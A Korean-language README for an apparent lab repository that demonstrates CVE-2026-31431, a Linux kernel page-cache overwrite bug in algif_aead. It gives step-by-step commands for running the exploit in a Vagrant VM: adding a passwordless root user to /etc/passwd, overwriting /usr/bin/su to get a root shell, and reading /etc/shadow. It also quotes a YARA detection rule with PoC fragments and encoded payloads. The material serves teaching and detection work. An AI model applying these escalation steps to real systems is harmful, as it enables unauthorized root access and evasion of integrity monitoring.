
CVE-2026-31431에 대한 데모 및 설명
리눅스 커널 Copy Fail 로컬 권한 상승 취약점인 CVE-2026-31431에 대한 시연 및 설명입니다. 이 취약점은 읽기 권한으로 열린 파일의 데이터가 페이지 캐시에서 덮어써지도록 허용합니다.
이 저장소는 교육 목적으로만 제공되며, 통제된 환경에서 취약점을 설명합니다. 포함된 파일은 다음과 같습니다:
├── exploit
│ ├── copy_fail.py # 읽기 권한이 있는 모든 파일을 대상으로 할 수 있는 사용자 정의 익스플로잇
│ ├── original_payload.txt # 원본 익스플로잇에 사용된 페이로드의 사본
│ ├── copy_fail_original.py # /usr/bin/su를 덮어쓰는 원본 익스플로잇
│ └── copy_fail_readable.py # 페이로드에 대한 설명과 함께 더 읽기 쉬운 형식으로 작성된 원본 익스플로잇
├── README.md
└── Vagrantfile # Ubuntu 22.04를 실행하는 Vagrant VM 설정
Copy Fail이라는 이름의 이 취약점은 algif_aead의 논리 결함으로 인해 2017년부터 2026년까지의 리눅스 커널에 존재합니다. CVSS 점수 7.8로 CVE-2026-31431이 할당되었으며, 높은 심각도 등급을 받았습니다. 이 익스플로잇은 결정론적이며 전통적인 파일 무결성 모니터링 도구를 우회할 수 있습니다.
개념 증명은 C, Python, Go 등 다양한 언어로 공개되었지만, 이 시연에서는 Python을 사용하며 Python 3.10 이상이 필요합니다. 이 익스플로잇은 권한이 없는 사용자로서 로컬 코드 실행이 필요하며, 로컬 권한 상승에 사용될 수 있습니다.
아래 섹션은 다음과 같습니다:
Vagrant와 QEMU가 설치되어 있는지 확인하세요. 그런 다음 이 저장소를 복제하고 프로젝트 디렉터리로 이동합니다.
vagrant up
vagrant ssh
VM 내부에서 우리의 능력의 한계를 테스트할 수 있습니다.
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # 루트 비밀번호를 요구하지만, 우리는 가지고 있지 않습니다
stat /usr/bin/su # 읽기 및 실행 권한이 있습니다
stat /etc/passwd # 읽기 권한이 있습니다
stat /etc/shadow # 권한이 없습니다
우리는 분명히 능력에 제한이 있지만, 취약점을 사용하여 권한을 상승시킬 수 있습니다.
취약점을 이해하기 위해, 더미 파일을 덮어쓰고 무슨 일이 일어나는지 봅시다.
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt
세 줄로 된 파일이 있습니다. 첫 번째 줄은 6바이트(줄바꿈 포함), 두 번째 줄은 2바이트, 세 번째 줄은 1바이트입니다. 이는 익스플로잇이 4바이트 블록 단위로 데이터를 덮어쓰고, 페이로드를 채우기 위해 패딩하기 때문에 중요합니다.
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt
파일의 처음 8바이트를 우리의 페이로드로 교체한 것을 볼 수 있습니다. 출력할 수 없는 문자가 두 개 있습니다. nano로 파일을 열어 확인하세요.
하지만 이것은 그다지 흥미롭지 않으니, 쓰기 권한이 없는 파일에 쓰는 것으로 넘어갑시다.
/etc/passwd의 내용을 덮어써서 루트 권한을 가지지만 비밀번호가 없는 사용자를 추가할 수 있습니다.
cat /etc/passwd
첫 번째 줄은 root 사용자를 포함하며 4문자로 된 8개의 그룹(줄바꿈 포함)을 포함합니다. 형식은 root:x:0:0:root:/root:/bin/bash이며, 값은 사용자 이름, 비밀번호, UID, GID, 홈 디렉터리, 셸을 나타냅니다.
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd
UID 0과 GID 0을 가진 새 사용자 hackd를 추가했으며, 이는 루트 권한을 가진다는 의미입니다. 비밀번호 필드가 비어 있으므로 비밀번호 없이 로그인할 수 있습니다.
su hackd
id
cat /etc/shadow
원본 익스플로잇에서는 /usr/bin/su 바이너리가 셸을 실행하는 명령으로 덮어써져, 공격자가 su를 실행할 때 루트 권한을 얻을 수 있습니다. 파일에서 원본 페이로드를 사용하여 /usr/bin/su를 대상으로 함으로써 이 익스플로잇을 재현할 수 있습니다.
이는 이 페이지 캐시에서 su 바이너리를 파괴한다는 점에 유의하세요.
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt
페이로드가 배치되면, su를 실행하여 루트 권한을 얻을 수 있습니다. 이는 사용자 ID 0의 셸을 엽니다. 일반적으로 루트 사용자이지만, 위의 데모를 수행했다면 우리가 생성한 hackd 사용자가 됩니다. 이 익스플로잇은 root 사용자에게 비밀번호가 있더라도 셸을 엽니다.
su
id
이 익스플로잇은 디스크 상의 파일을 수정하지 않고, 페이지 캐시 상태를 수정합니다. 결과적으로, 디스크 상의 파일 변경을 확인하는 전통적인 파일 무결성 모니터링 도구는 이 익스플로잇을 탐지하지 못합니다.
이를 시연하기 위해, 위의 익스플로잇을 실행한 후 VM을 재시작하고 대상 파일의 내용을 확인하세요.
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # 파일은 디스크 상에서 변경되지 않았습니다
탐지 규칙은 네트워크 지표나 알려진 스크립트 패턴을 탐지하려는 커뮤니티 GitHub 저장소에서 공유됩니다. 이러한 탐지 규칙은 공개 PoC 아티팩트, 알려진 페이로드, 코드 조각 및 URL을 기반으로 합니다.
예를 들어 다음은 특정 PoC 관련 코드 조각이나 인코딩된 페이로드를 탐지합니다:
rule EXPL_LNX_Copy_Fail_Artefacts_CVE_2026_31431_Apr26 {
meta:
...
strings:
...
// Code fragments from public PoCs
$xs1 = "| python3 && su"
$xs2 = "g.open(\"/usr/bin/su\",0);i=0;"
$xs3 = "[-] page-cache mutation failed"
$xs4 = "[+] /etc/passwd page cache mutated"
$xs5 = "bind(AF_ALG: authencesn(hmac(sha256),cbc(aes)))"
$xs6 = "/tmp/.cve_test"
...
// Payloads used in the Go version
$xg1 = "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c00111d10d3"
$xg2 = "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40b806c80461569098000383e101c3db1bae9e6d303c1090a1af5f9c91a19f9499d7f93820b8f361e7a10ddc4089db598c11671b0038b31858"
$xg3 = "78daab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd06ca5b039787e96cb8e421d47009c8bb0214126004f29980788534540cc4e686b0f59332f3f48b3318003ff61578"
$xg4 = "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e02e5c1680601086578c0f0ff864c7e568fee1a1501c36f59d61133f9590dff67d944f0b3020082b00eaf"
$xg5 = "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40381fc80461569098000383e101c3db1bae9e6de88e51e1303c99c51d31f36c83e1ed2cc688b30d001bf41180"
$xg6 = "789cab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd04ca5b029787e96cb8e421d47009c8bbf280dbe1272390cf04c42ba4216220f915dc103600d72b1509"
...
condition:
1 of ($x*)
or ($sa1 and 1 of ($sb*))
}
익스플로잇에는 다음 구성 요소가 사용됩니다:
AD||CT||TAGTAG 뒤에 복사하여 순서를 제자리에서 바꿉니다seqno_hi||seqno_lo||CT||TAG -> seqno_lo||seqno_hi||CT||TAG||seqno_lo이 취약점을 만든 제자리 최적화를 활성화한 커밋:
https://github.com/torvalds/linux/commit/72548b093ee38a6d4f2a19e6ef1948ae05c181f7
패치는 공개 발표 없이 이루어졌으며 algif_aead의 제자리 작업 기능을 제거합니다:
https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
더 읽기:
Python 구현
C 구현
Go 구현